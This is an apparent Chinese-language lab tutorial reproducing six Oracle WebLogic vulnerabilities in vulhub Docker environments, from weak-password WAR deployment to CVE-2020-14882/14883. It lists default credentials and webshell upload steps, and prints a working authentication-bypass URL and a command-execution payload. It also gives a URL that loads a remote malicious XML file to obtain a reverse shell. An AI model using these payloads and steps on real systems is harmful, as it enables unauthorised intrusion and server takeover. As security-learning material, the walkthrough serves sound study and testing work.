常见中间件漏洞(二、WebLogin合集)
目录
二、WebLogic
Weblogic介绍
2.1 后台弱口令GetShell
漏洞描述
影响范围
环境搭建
漏洞复现
2.2 CVE-2017-3506
漏洞描述
影响版本
环境搭建
漏洞复现
2.3 CVE-2019-2725
漏洞描述
影响版本
环境搭建
漏洞复现
2.4 CVE-2018-2628
漏洞描述
漏洞影响
环境搭建
漏洞复现
2.5 CVE-2018-2894_
漏洞描述
漏洞版本
环境搭建
漏洞复现
2.6 CVE-2020-14882
漏洞描述
影响版本
环境搭建
漏洞复现
另外一种方式
二、WebLogic
Weblogic介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
2.1 后台弱口令GetShell
漏洞描述
通过弱口令进入后台界面,上传部署war包,getshell
影响范围
全版本(前提后台存在弱口令)
环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d


漏洞复现
默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic这里注意, 单个账号错误密码5次之后就会自动锁定。

- 登录后台后,点击部署,点击安装,点击上传文件,

2.上传war包,jsp木马压缩成zip,修改后缀为war,上传


3.然后一直点击下一步,直到完成

4.访问部署好的war,并且用工具连接
http://60.205.170.32:7001/test/1.jsp


2.2 CVE-2017-3506
XMLDecoder反序列化漏洞
漏洞描述
Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。
影响版本
受影响版本:WebLogic 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2。
环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d
漏洞复现
访问以下目录中的一种,有回显如下图可以判断wIs-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
- 验证是否存在wls-wsat组件
http://60.205.170.32:7001/wls-wsat/CoordinatorPortType

2.在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的123.jsp
3.访问URL
http://60.205.170.32:7001/bea_wls_internal/123.jsp


2.3 CVE-2019-2725
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
影响版本
weblogic 10.x weblogic 12.1.3
环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d

漏洞复现
1.漏洞验证
http://47.99.98.0:7011/_async/AsyncResponseService
如果出现一下页面,则说明存在漏洞

- 在当前页面抓包,修改请求包,写入shell


3.哥斯拉连接
http://47.99.98.0:7011/bea_wls_internal/12121.jsp

2.4 CVE-2018-2628
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据,服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中并创建T3协议通信连接,将流量传输到Java虚拟机.T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的反序列化数据,进行反序列化,实现对存在漏洞的weblogic组件的远程代码执行攻击。
漏洞影响
Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogicServer12.2.1.2.0 Oracle WebLogic Server12.2.1.3.0
环境搭建
cd vulhub/weblogic/CVE-2018-2628docker-compose up -d

漏洞复现
1.直接使用利用工具(Liqun工具箱)



2.哥斯拉连接
http://47.99.98.0:7012/_async/cmd.jsp

2.5 CVE-2018-2894_
WebLogic文件任意上传漏洞
漏洞描述
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
漏洞版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
环境搭建
cd vulhub/weblogic/CVE-2018-2894docker-compose up -d

这里环境后台密码是随机得,获取密码:docker-compose logs | grep password

设置Web服务测试开启
http://47.99.98.0:7013/console/login/LoginForm.jsp

设置web服务测试开启:域结构->base-domain->高级->启动Web服务测试页


点击保存,进入 config.do 文件进行设置,将目录设置为 ws utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要
http://47.99.98.0:7013/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

漏洞复现
1.点击安全,点击添加,上传一个jsp木马

2.右键审查元素,然后搜索16,找到对应时间戳

3.Webshell链接
http://47.99.98.0:7013/ws_utc/css/config/keystore/1722950569989_shell.jsp
时间戳_文件名.jsp

2.6 CVE-2020-14882
WebLogic远程代码执行漏洞
漏洞描述
CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机
影响版本
Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0
环境搭建
cd vulhub/weblogic/CVE-2020-14882docker-compose up -d

漏洞复现
1.访问管理控制台
http://47.99.98.0:7014/console/login/LoginForm.jsp
使用以下url绕过登录认证

2.使用以下url绕过登录认证
http://47.99.98.0:7014/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。还未能GetShel。可以利用第二个漏洞(CVE-2020-14883),这远程加载XML文件拿到Shell
3.首先访问以下 URL,以连接 2 个漏洞并执行以下命令
http://47.99.98.0:7014/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
我们进入到docker中可以看到命令已经成功运行了

另外一种方式
1.制作一个恶意XML文件,将其提供到Weblogic可以访问得服务器上:

2.然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令
http://47.99.98.0:7014/console/css/%252e%252e%252fconsole.portal?nfpb=true& pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://47.99.98.0/rce.xml")
成功接收到反弹的shell

相关文章:
常见中间件漏洞(二、WebLogin合集)
目录 二、WebLogic Weblogic介绍 2.1 后台弱口令GetShell 漏洞描述 影响范围 环境搭建 漏洞复现 2.2 CVE-2017-3506 漏洞描述 影响版本 环境搭建 漏洞复现 2.3 CVE-2019-2725 漏洞描述 影响版本 环境搭建 漏洞复现 2.4 CVE-2018-2628 漏洞描述 漏洞影响 环…...
LeetCode LCR147.最小栈
LeetCode LCR147.最小栈 思路🤔: 建立两个栈,一个栈正常入栈出栈,一个栈只用于出入最小数,当push值小于minst栈顶才入栈,当pop值等于minst栈顶才出栈。 代码🔎: class MinStack { pu…...
目标检测的算法有哪些
目标检测是计算机视觉领域的一个重要任务,它涉及识别图像或视频中的对象,并确定它们的位置和类别。随着深度学习的发展,出现了许多高效且准确的目标检测算法。以下是一些主要的目标检测算法: 两阶段检测器(Region-bas…...
HDU多校-交通管控
Problem - 7498 (hdu.edu.cn) 直接dfs显然不行,达到了2^500,那么我们可以考虑枚举所有红绿灯的状态,总共有三种状态,k的范围小于等于10,因此所有状态数为3^10不会超,所以通过三进制状压dp即可完成…...
【C++】string类
🚀个人主页:奋斗的小羊 🚀所属专栏:C 很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~ 目录 前言💥1、标准库中的string类💥1.1string类的常用接口💥string类对象常见…...
Python中各类常用内置转换函数
Python中各类常用内置转换函数 函数功能说明int(x)将 x 转换为整数类型float(x)将 x 转换为浮点数类型str(x)将 x 转换为字符串repr(x)将 x 转换为表达式字符串eval(str)计算在字符串中的有效Python表达式,并返回一个对象list(s)将序列 s 转换为一个列表tuple(s)将…...
LangChain与JWT:构建安全认证的桥梁
LangChain与JWT:构建安全认证的桥梁 在现代Web应用和微服务架构中,安全认证是保护数据和资源访问的关键。JSON Web Tokens(JWT)作为一种广泛使用的开放标准,为安全传输提供了一种简洁而自包含的方式。LangChain&#…...
ai写作软件哪个好用?怎么帮自己找到好用的ai写作软件?
ai写作软件的出现是随着ai技术的迅猛发展下的产物,它主要应用于内容创作领域,可以是文章内容创作、视频内容创作、绘图创作等等,不同的ai写作软件可能应用的领域不同,但也有的ai写作软件应用的范围却是比较广。今天小编主要来跟大…...
关于gunicorn+flask+docker模型的高并发部署
这是一个结合了现代Web技术的高效部署方案,旨在提高Web应用的并发处理能力和可扩展性。以下是对该模型高并发部署的详细解析: 一、模型概述 GunicornFlaskDocker模型结合了Flask的轻量级和灵活性、Gunicorn的高并发处理能力以及Docker的容器化优势&…...
35. 搜索插入位置
给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 示例 1: 输入: nums [1,3,5,6], target 5 输出: 2示例 2: 输入:…...
ViT论文详解
文章目录 前言一、ViT理论二、模型结构三、实验结果总结 前言 ViT是谷歌团队在2021年3月发表的一篇论文,论文全称是《AN IMAGE IS WORTH 16X16 WORDS:TRANSFORMERS FOR IMAGE RECOGNITION AT SCALE》一张图片分成16x16大小的区域:使用Transformer进行按比…...
常见中间件漏洞(三、Jboss合集)
目录 三、Jboss Jboss介绍 3.1 CVE-2015-7501 漏洞介绍 影响范围 环境搭建 漏洞复现 3.2 CVE-2017-7504 漏洞介绍 影响范围 环境搭建 漏洞复现 3.3 CVE-2017-12149 漏洞简述 漏洞范围 漏洞复现 3.4 Administration Console弱囗令 漏洞描述 影响版本 环境搭建…...
ios如何动态添加控件及动画
在ViewController中添加 // // ViewController.m // iosstudy2024 // // Created by figo on 2024/8/5. //#import "ViewController.h"interface ViewController () property (weak, nonatomic) IBOutlet UIButton *xigua; - (IBAction)xigua:(id)sender;endimpl…...
【数学建模】——【A题 信用风险识别问题】全面解析
目录 1.题目 2.解答分析 问题1:指标筛选 1.1 问题背景 1.2 数据预处理 1.3 特征选择方法 1.4 多重共线性检测 1.5 实现步骤 问题2:信用评分模型 2.1 问题背景 2.2 数据分割 2.3 处理不平衡数据 2.4 模型选择与理由 问题3:模型对…...
javascript:检测图片的宽高
1 方案描述 JavaScript提供了非常方便的FileReader和Image对象,可以帮助我们轻松实现这个功能。具体步骤如下: 获取文件输入框:首先,我们需要获取到用户选择的文件。读取文件内容:然后,通过FileReader对象…...
机械学习—零基础学习日志(高数23——无穷小运算)
零基础为了学人工智能,真的开始复习高数 这段时间,把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…...
一个网络上计算机的通信
一台计算机上多个进程间的通信方式有:管道、共享内存、信号量、消息队列。如果不同的计算机上多个进程间通信,即通信的进程在不同的计算机上,需要用到网络相关的知识。 那么两台计算机通信需要解决哪些问题? 我们来回顾一下计算机…...
C语言基础题:吃冰棍(C语言版)
1.题目描述 机器猫喜欢吃冰棍。 买一根冰棍,吃完了会剩一个木棒;每三个木棒可以兑换一个冰棍。兑换出来的冰棍,吃完之后也能剩下一个木棒。 所以,如果机器猫买了5根冰棍,他可以吃完之后得到5个木棒;拿3个木棒兑换1根冰棍ÿ…...
C++中,vector、deque、list、set、multiset、unordered_set和unordered_multiset容器类的总结
最近用set比较多,复习一下基础。 在C中,vector、deque、list、set、multiset、unordered_set和unordered_multiset都是容器类,但它们有不同的特点和用途。下面是对它们的区别和示例说明: 1. vector 特点: 动态数组,…...
Python处理Redis
操作Redis redis也是基于tcp通信的,所以我们可以直接通过socket来做 Redis通信过程 简单使用 redis-cli.exe -h192.168.56.188 auth 123456 set name myredis get name lindex students 0 # 查看students列的第一条数据核心协议体 *2 # 表示下述的指令由2个字符…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
Prompt Tuning、P-Tuning、Prefix Tuning的区别
一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...
Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
基于Java+MySQL实现(GUI)客户管理系统
客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息,对客户进行统一管理,可以把所有客户信息录入系统,进行维护和统计功能。可通过文件的方式保存相关录入数据,对…...
MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
Ubuntu系统复制(U盘-电脑硬盘)
所需环境 电脑自带硬盘:1块 (1T) U盘1:Ubuntu系统引导盘(用于“U盘2”复制到“电脑自带硬盘”) U盘2:Ubuntu系统盘(1T,用于被复制) !!!建议“电脑…...
